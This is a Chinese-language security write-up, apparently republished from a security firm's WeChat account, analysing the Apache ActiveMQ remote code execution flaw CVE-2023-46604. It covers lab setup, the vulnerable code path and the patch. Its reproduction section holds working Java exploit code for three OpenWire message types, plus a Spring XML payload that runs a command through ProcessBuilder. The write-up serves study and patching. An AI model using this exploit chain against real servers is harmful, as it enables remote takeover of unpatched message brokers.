1. 前言
官方公告：
https://activemq.apache.org/news/cve-2023-46604
https://nvd.nist.gov/vuln/detail/CVE-2023-46604
漏洞描述：
ActiveMQ 对传入的 TCP 数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类，最终能直接执行任意命令。
影响版本：
Apache ActiveMQ：
< 5.15.16
< 5.16.7
< 5.17.6
< 5.18.3
ActiveMQ 简介：
Apache ActiveMQ 是一个开源的消息中间件，实现了 Java Message Service (JMS) 规范。它是 Apache 软件基金会的项目之一，用于实现高性能、可扩展、松耦合的消息传递系统。
在 ActiveMQ 中，生产者（Producer）发送消息到 Queue 或者 Topic 中，消费者（consumer）通过 ActiveMQ 支持的传输协议连接到 ActiveMQ 接受消息并做处理。
2. 环境搭建
2-1. 搭建ActiveMQ服务
在官网下载压缩包：
https://activemq.apache.org/download-archives
解压后进入 bin 目录，activemq start启动服务；
访问http://127.0.0.1:8161/，默认用户名/密码为admin/admin，进入管理页面，搭建成功。
ActiveMQ 默认情况下使用了 OpenWire 协议，而 OpenWire 协议是基于二进制的，面向网络的协议，通常通过 TCP 进行通信，默认监听 61616 端口。
关于管理页面的介绍可参考：
https://blog.csdn.net/csdndys/article/details/130505328
2-2. 创建Demo
创建一个 Spring Boot 项目，选择 activemq 依赖；
或者手动添加，不过会有 log4j 冲突，比较麻烦。
<dependency><groupId>org.apache.activemq</groupId><artifactId>activemq-all</artifactId><version>5.17.5</version></dependency>
或者新建空项目，添加如下依赖，比较靠谱。
<dependency><groupId>org.apache.activemq</groupId><artifactId>activemq-spring</artifactId><version>5.18.2</version></dependency>
当前测试环境版本：
-
Spring Boot 版本：2.7.5
-
对应ActiveMQ版本：5.16.5
-
JDK 11
resources 目录下创建配置文件log4j.xml：
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"><log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"><!-- Define the console appender --><appender name="console" class="org.apache.log4j.ConsoleAppender"><param name="Target" value="System.out" /><layout class="org.apache.log4j.PatternLayout"><param name="ConversionPattern" value="%-5p %d{yyyy-MM-dd HH:mm:ss} [%t] %c{1} - %m%n" /></layout></appender><!-- Define the root logger with appender --><root><priority value="debug" /><appender-ref ref="console" /></root></log4j:configuration>
写一个与 ActiveMQ 服务器发送消息的 Demo ；
import org.apache.activemq.ActiveMQConnectionFactory;import javax.jms.*;public class ActiveMQDemo {public static void main(String[] args) {//连接 ActiveMQ 服务器String url = "tcp://127.0.0.1:61616";ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(url);Connection connection = null;try {connection = connectionFactory.createConnection();connection.start();//创建会话Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建队列Destination destination = session.createQueue("myQueue");//创建消息生产者MessageProducer producer = session.createProducer(destination);//创建消息ObjectMessage objectMessage = session.createObjectMessage("123");// TextMessage textMessage = session.createTextMessage("123");//发送消息producer.send(objectMessage);System.out.println("Message Sent: " + objectMessage.getObject());//创建消息消费者MessageConsumer consumer = session.createConsumer(destination);//接收消息Message receviedMessage = consumer.receive();if (receviedMessage instanceof ObjectMessage) {ObjectMessage message = (ObjectMessage) receviedMessage;// TextMessage message = (TextMessage) receviedMessage;System.out.println("Recevied message: " + message.getObject());}//关闭会话session.close();} catch (JMSException e) {throw new RuntimeException(e);} finally {if (connection != null) {try {connection.close();} catch (JMSException e) {e.printStackTrace();}}}}}
运行，控制台可以看到信息输出，管理页面也有消息记录。
3. 流程分析
在BaseDataStreamMarshaller.createThrowable()中，根据传入的的类名和消息，实例化并返回了一个 Throwable 类型的对象；
搜索发现，在tightUnmarsalThrowable()和looseUnmarsalThrowable()中都调用createThrowable()方法；
再搜索，找到 ExceptionResponseMarshaller 、ConnectionErrorMarshaller 、MessageAckMarshaller 中的tightUnmarshal()和looseUnmarshal()方法分别调用了tightUnmarsalThrowable()和looseUnmarsalThrowable()；
以 ExceptionResponseMarshaller 为例，其中的这两个方法是对 ExceptionResponse 对象进行序列化、反序列化操作，当处理 ExceptionResponse 类型消息时就会触发 ExceptionResponseMarshaller 中的方法。
在发送消息的时候，会将消息类型对象作为参数传递给ActiveMQConnection.syncSendPacket()，一直传递到TcpTransport.oneway()，调用哪个oneway()是由this.transport变量决定的；
然后调用OpenWireFormat.marshal()进行序列化，这里会根据type的值来选择处理器的类型；
而type的值是跟收到的消息类型有关，这里消息类型是 ObjectMessage ，对应 ActiveMQObjectMessage，type值为26，那么调用的就是 ActiveMQObjectMessageMarshaller 。
然后在处理消息的时候会调用到OpenWireFormat.doUnmarshal()进行反序列化，这里原理和序列化时一样。
所以目的就是要构造一个 ExceptionResponse、ConnectionError 或 MessageAck 类型的消息。
4. 漏洞复现
new 一个 ExceptionResponse 类型对象，给它抛出一个 ClassPathXmlApplicationContext 异常，使其从指定路径加载恶意代码；
然后直接调用ActiveMQSession.syncSendPacket()，将 ExceptionResponse 消息作为参数发送给 ActiveMQ 服务器，即可触发。
public class ActiveMQDemo {public static void main(String[] args) throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");Connection connection = connectionFactory.createConnection();connection.start();ActiveMQSession session = (ActiveMQSession) connection.createSession();ExceptionResponse exceptionResponse = new ExceptionResponse();exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));session.syncSendPacket(exceptionResponse);connection.close();}}
需要重新定义org.springframework.context.support.ClassPathXmlApplicationContext，使其继承 Throwable。
package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{private String message;public ClassPathXmlApplicationContext(String message) {this.message = message;}public String getMessage() {return message;}}
或者直接调用oneway()方法，将消息对象作为参数传给他。
new 一个 ExceptionResponse 类型对象，同样给它抛出 ClassPathXmlApplicationContext 异常。
//ExceptionResponseObject msg = new ExceptionResponse(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));((ActiveMQConnection) connection).getTransportChannel().oneway(msg);
同理 ConnectionError 利用：
//ConnectionErrorThrowable o = new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml");ConnectionError msg = new ConnectionError();msg.setConnectionId(new ConnectionId());msg.setException(o);((ActiveMQConnection) connection).getTransportChannel().oneway(msg);
MessageAck 利用：
//MessageAckMessageAck msg2 = new MessageAck();msg2.setPoisonCause(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));((ActiveMQConnection) connection).getTransportChannel().oneway(msg2);
poc.xml 内容是弹计算器：
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>calc.exe</value></list></constructor-arg></bean></beans>
5. 补丁分析
https://github.com/apache/activemq/pull/1098/commits/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b
在createThrowable()方法中新增了validateIsThrowable()校验；
validateIsThrowable()的作用是判断获取到的类是否是 Throwable 的子类。
参考链接：
https://exp10it.cn/2023/10/apache-activemq-版本-5.18.3-rce-分析/
http://www.lvyyevd.cn/archives/apacheactivemqrce-fen-xi
https://www.ctfiot.com/141159.html
http://www.hackdig.com/10/hack-1132519.htm
原文始发于微信公众号（中孚安全技术研究）：Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)
